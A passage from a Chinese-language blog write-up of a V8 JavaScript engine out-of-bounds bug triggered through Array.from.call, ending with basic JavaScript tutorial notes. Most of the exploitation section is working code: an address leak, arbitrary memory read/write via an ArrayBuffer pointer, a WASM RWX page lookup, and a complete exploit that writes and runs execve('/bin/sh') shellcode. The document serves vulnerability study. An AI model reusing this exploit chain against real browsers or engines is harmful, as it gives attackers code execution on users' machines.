如上面说的,将objGen.leak字段赋值为目标对象,即可通过oobArray[offset]将目标对象地址泄漏:

1
2
3
4
5
6
7
8
function addressOf(target){
objArray[0].leak = target;
return dt.f2i(oobArray[offsetObjLeak]);
}
// test addressOf
var testObj = {a:'b'};
%DebugPrint(testObj);
console.log("leak test object : " + hex(addressOf(testObj)));

成功实现对象地址泄漏

img

任意地址读写

这个版本的v8没有支持bigint,所以在处理64位数据时比较麻烦。。我这里的实现当需要写入64位数据时,使用字符串传参,如”12345678deadbeef”。而read64返回的则可以是十六进制字符串的形式也可以是SMI形式,泄漏地址时默认返回整型即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/*---------------------arbitrary address read / write--------------------*/
// arbitrary address write
var dtView = new DataView(bufArray[0]);
function write64(addr, value){
oobArray[offsetBuf+4] = dt.i2f(addr);
dtView.setFloat64(0, dt.i2f(value), true);
}
// arbitrary address read
function read64(addr, str=false){
oobArray[offsetBuf+4] = dt.i2f(addr);
let tmp = ['', ''];
let tmp2 = ['', ''];
let result = ''
tmp[1] = hex(dtView.getUint32(0)).slice(10,);
tmp[0] = hex(dtView.getUint32(4)).slice(10,);
for(let i=3; i>=0; i--){
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1]
if(str==true){return '0x'+result}
else {return parseInt(result, 16)};

}
// test AAR/AAW
leakAddr = dt.f2i(oobArray[1])-1;
console.log("[*] leak a test addr : " + hex(leakAddr));
write64(leakAddr, '12345678deadbeef');
console.log("[*] read in leakAddr : " + read64(leakAddr, true));
write64(leakAddr, 0xdeadbeef);
console.log("[*] read in leakAddr : " + hex(read64(leakAddr)));
// %SystemBreak();

成功实现任意地址读写。

image-20200116102129313

利用WASM执行shellcode

https://wasdk.github.io/WasmFiddle/

可以通过WASM,能得到一块RWX的内存,里面放着WASM的二进制代码,将shellcode写入到这块内存,再调用WASM接口时,就会执行Shellcode了。

首先要找到这块RWX内存,相关的数据结构根据版本不同可能不太一样。通过调试,我通过这个嵌套查找可以找到这块地址:wasmInstance.exports.main f->shared_info->code+0x70

运行以下测试代码

1
2
3
4
5
6
7
8
9
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();

调试器中具体看一下:

f+0x18找到shared_info:

img

shared_info+0x8找到code

image-20200116110737672

在code+0x70找到RWX内存页地址

img

因此,可以通过addressOf和read64、write64等方法实现以下代码完成RWX地址泄漏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var codeAddr = read64(sharedInfo+0x8-0x1);
var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000);
memoryRWX = Math.floor(memoryRWX);
console.log("[*] Get RWX memory : " + hex(memoryRWX));

img

将Shellcode写入RWX内存中,并调用funcAsm()即可触发Shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//sys_execve('/bin/sh')
var shellcode = [
'2fbb485299583b6a',
'5368732f6e69622f',
'050f5e5457525f54'
];
//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
write64(memoryRWX+offsetMem, x);
offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();

成功getshll

img

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
// sunxiaokong
/*---------------------------datatype convert-------------------------*/
class typeConvert{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
//convert float to int
f2i(val){
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
/*
convert int to float
if nead convert a 64bits int to float
please use string like "deadbeefdeadbeef"
(v8's SMI just use 56bits, lowest 8bits is zero as flag)
*/
i2f(val){
let vall = hex(val);
let tmp = [];
tmp[0] = vall.slice(10, );
tmp[1] = vall.slice(2, 10);
tmp[0] = parseInt(tmp[0], 16);
tmp[1] = parseInt(tmp[1], 16);
this.u32.set(tmp);
return this.f64[0];
}
}
//convert number to hex string
function hex(x)
{
return '0x' + (x.toString(16)).padStart(16, 0);
}

var dt = new typeConvert();
// console.log(hex(0x12345678deadbeef));
// console.log(hex(dt.overturn('deadbeef')));

/*generate a Out-Of-Bound array and generate many ArrayBuffers and objects*/
var bufArray = [];
var objArray = [];
var oobArray = [1.1];
var maxSize = 8224;
function objGen(tag){
this.leak = 0x1234;
this.tag = tag;
}
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : x => (
{
counter : 0,
next() {
let result = 1.1;
this.counter++;
if (this.counter > maxSize) {
oobArray.length = 1;
// for(let i=0;i<=1000;i++){
bufArray.push(new ArrayBuffer(0xbeef));
objArray.push(new objGen(0xdead));
// }
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });

/*------search a ArrayBuffer which could be controlled by oobArray-------*/
var offsetBuf; //target offset of oobArray
var indexBuf; //target offset in bufArray
for(let x=0; x<=maxSize; x++) {let y = oobArray[x]}; //trigger the GC
//start search
for(let i = 0; i < maxSize; i++){
let val = dt.f2i(oobArray[i]);
if(0xbeef00000000===val){
offsetBuf = i-3;
console.log("[*] target buf offset of oobArray: " + offsetBuf);
// %DebugPrint(oobArray);
}
if(0xdead00000000===val){
offsetObjLeak = i-1;
console.log("[*] target obj.leak offset of oobArray: " + offsetObjLeak);
// %DebugPrint(oobArray);
break;
}
}

function addressOf(target){
objArray[0].leak = target;
return dt.f2i(oobArray[offsetObjLeak]);
}
// test addressOf
// var testObj = {a:'b'};
// %DebugPrint(testObj);
// console.log("leak test object : " + hex(addressOf(testObj)));

/*---------------------arbitrary address read / write--------------------*/
// arbitrary address write
var dtView = new DataView(bufArray[0]);
function write64(addr, value){
oobArray[offsetBuf+4] = dt.i2f(addr);
dtView.setFloat64(0, dt.i2f(value), true);
}
// arbitrary address read
function read64(addr, str=false){
oobArray[offsetBuf+4] = dt.i2f(addr);
let tmp = ['', ''];
let tmp2 = ['', ''];
let result = ''
tmp[1] = hex(dtView.getUint32(0)).slice(10,);
tmp[0] = hex(dtView.getUint32(4)).slice(10,);
for(let i=3; i>=0; i--){
tmp2[0] += tmp[0].slice(i*2, i*2+2);
tmp2[1] += tmp[1].slice(i*2, i*2+2);
}
result = tmp2[0]+tmp2[1]
if(str==true){return '0x'+result}
else {return parseInt(result, 16)};

}
// // test AAR/AAW
// leakAddr = dt.f2i(oobArray[1])-1;
// console.log("[*] leak a test addr : " + hex(leakAddr));
// write64(leakAddr, '12345678deadbeef');
// console.log("[*] read in leakAddr : " + read64(leakAddr, true));
// write64(leakAddr, 0xdeadbeef);
// console.log("[*] read in leakAddr : " + hex(read64(leakAddr)));
// %SystemBreak();

/*-------------------------use wasm to execute shellcode------------------*/
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,
127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,
1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,
0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,10,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var funcAsm = wasmInstance.exports.main;

var addressFasm = addressOf(funcAsm);
var sharedInfo = read64(addressFasm+0x18-0x1);
var codeAddr = read64(sharedInfo+0x8-0x1);
var memoryRWX = (read64(codeAddr+0x70-0x1)/0x10000);
memoryRWX = Math.floor(memoryRWX);
console.log("[*] Get RWX memory : " + hex(memoryRWX));

//sys_execve('/bin/sh')
var shellcode = [
'2fbb485299583b6a',
'5368732f6e69622f',
'050f5e5457525f54'
];
//write shellcode into RWX memory
var offsetMem = 0;
for(x of shellcode){
write64(memoryRWX+offsetMem, x);
offsetMem+=8;
}
//call funcAsm() and it would execute shellcode actually
funcAsm();

My总结

总结以上漏洞利用过程:

1
2
3
数组越界 -> 控制ArrayBuffer -> 任意地址读写 -------| 
-> 控制object对象内属性-> 泄漏对象地址-----|
+-->泄漏RWX内存地址->写入并执行Shellcode

对比Sunxiaokong’s Blog - StarCTF2019-oob 初探V8漏洞利用中的利用方式,总结出一些异同

操作 利用方式
*CTF2019-oob 泄漏对象 通过类型混淆,将object数组对象的map 修改为float数组对象的map来泄漏对象
本漏洞 泄漏对象 通过控制object对象内属性来泄漏对象 其实本质上也是使引擎将对象地址当成float来处理
操作 利用方式
*CTF2019-oob 任意地址读写 通过类型混淆,将Array.elements伪造为数组对象
本漏洞 任意地址读写 通过控制ArrayBuffer的backing_store指针

第一次从POC开始完整的分析一个漏洞,还好这里官方的回归测试代码很好阅读,很容易调试出问题所在,而相关的源码中也有详细的注释,因此这个漏洞的POC分析和源码阅读我都是独立进行的。只有在漏洞利用时参考了别人的文章,感觉到自己还是很粗心不够细,在类型转换等地方浪费了很多的时间,也感觉到,要想做到深入理解,一定要多独立思考、分析源码、上手打代码、动手调试。

一些JS语句基础

Array.from()

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/from

从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。

1
2
3
4
5
console.log(Array.from('foo'));
// expected output: Array ["f", "o", "o"]

console.log(Array.from([1, 2, 3], x => x + x));
// expected output: Array [2, 4, 6]

输出

1
2
> Array ["f", "o", "o"]
> Array [2, 4, 6]

Function.prototype.call()

call()方法使用一个指定的this值和其他参数来调用一个函数。

在我的理解中,用call()方法调用一个函数,主要的作用在于可以指定this。例如:

eg.1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function Product(name, price) {
this.name = name;
this.price = price;
}

function Food(name, price) {
Product.call(this, name, price);
this.category = 'food';
}

function Toy(name, price) {
Product.call(this, name, price);
this.category = 'toy';
}

var cheese = new Food('feta', 5);
var fun = new Toy('robot', 40);

输出:

1
2
3
4
5
cheese
Object { name: "feta", price: 5, category: "food" }

fun
Object { name: "robot", price: 40, category: "toy" }

eg.2

1
2
3
4
5
6
7
8
9
10
function greet() {
var reply = [this.animal, 'typically sleep between', this.sleepDuration].join(' ');
console.log(reply);
}

var obj = {
animal: 'cats', sleepDuration: '12 and 16 hours'
};

greet.call(obj); // cats typically sleep between 12 and 16 hours

输出

1
cats typically sleep between 12 and 16 hours

Symbol.iterator

http://es6.ruanyifeng.com/#docs/iterator

Iterator 接口的目的,就是为所有数据结构,提供了一种统一的访问机制,即for...of循环(详见下文)。当使用for...of循环遍历某种数据结构时,该循环会自动去寻找 Iterator 接口。

ES6 规定,默认的 Iterator 接口部署在数据结构的Symbol.iterator属性,或者说,一个数据结构只要具有Symbol.iterator属性,就可以认为是“可遍历的”(iterable)。Symbol.iterator属性本身是一个函数,就是当前数据结构默认的遍历器生成函数。执行这个函数,就会返回一个遍历器。至于属性名Symbol.iterator,它是一个表达式,返回Symbol对象的iterator属性,这是一个预定义好的、类型为 Symbol 的特殊值,所以要放在方括号内

即,一个对象如果是可遍历的,那么一定存在[Symbol.iterator]属性,这个属性是一个函数,一个遍历器生成函数。例如:

1
2
3
4
5
6
7
8
9
10
11
12
const obj = {
[Symbol.iterator] : function () {
return {
next: function () {
return {
value: 1,
done: true
};
}
};
}
}

这里的obj就定义了[Symboo.iterator]属性,这个属性本身是一个函数,它返回一个对象,这个对象的next属性也是一个函数,也返回一个对象{value: x, done: true/false}。当我们使用for ... of...循环遍历一个可遍历对象(如数组)时,实际上就会依次调用这个next函数,值为value,通过done来判断是否完成遍历。

eg.1

例如,可以通过数组的[Symbol.iterator].next()手动实现数组的遍历:

1
2
3
4
5
6
7
let arr = ['a', 'b', 'c'];
let iter = arr[Symbol.iterator]();

iter.next() // { value: 'a', done: false }
iter.next() // { value: 'b', done: false }
iter.next() // { value: 'c', done: false }
iter.next() // { value: undefined, done: true }

输出:image-20200114112429691

eg.2

又例如,运行如下代码,是会报错的, 因为该对象没有[Symbol.iterator],是不可遍历的

1
2
3
4
5
6
7
function objIter(name, age, dream){
this.name = name,
this.age = age,
this.dream = dream
}
var sunxiaokong = new objIter('sunxiaokong', 20, 'happy')
for (i of sunxiaokong) console.log(i);

img

然后,我给这个对象实现一个Symbol.iterator方法,把它加到objIter的prototype中去,就可以通过for...of...语句遍历这个对象了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function objIter(name, age, dream){
this.name = name,
this.age = age,
this.dream = dream
}

objIter.prototype[Symbol.iterator] = function(){
let _this = this;
let counter = 0;
let propers = Object.keys(_this);
return {
next(){
if (counter < propers.length){
return {value:_this[propers[counter++]], done:false};
}else{
return {value:undefined, done:true};
}
}
}
}

var sunxiaokong = new objIter('sunxiaokong', 20, 'happy')
for (i of sunxiaokong) console.log(i);

img

由于现在这个对象是可遍历的了,所以还可以像POC中一样,用Array.from.call()创建一个数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function objIter(name, age, dream){
this.name = name,
this.age = age,
this.dream = dream
}

objIter.prototype[Symbol.iterator] = function(){
let _this = this;
let counter = 0;
let propers = Object.keys(_this);
return {
next(){
if (counter < propers.length){
return {value:_this[propers[counter++]], done:false};
}else{
return {value:undefined, done:true};
}
}
}
}

var sunxiaokong = new objIter('sunxiaokong', 20, 'happy')
for (i of sunxiaokong) console.log(i);

var sxkArray = [];
//其实我也不知道为啥Array.from.call的第一个参数(this)得这样子传,但是通过运行结果很容易就明白最终的作用了
//就是通过第二个参数(一个可迭代对象),给第一个参数返回的数组赋值吧
Array.from.call(
function(){return sxkArray},
sunxiaokong
);
console.log("sxkArray : " + sxkArray);

img

Comments Section | 评论区
Privacy Policy Application Terms of Service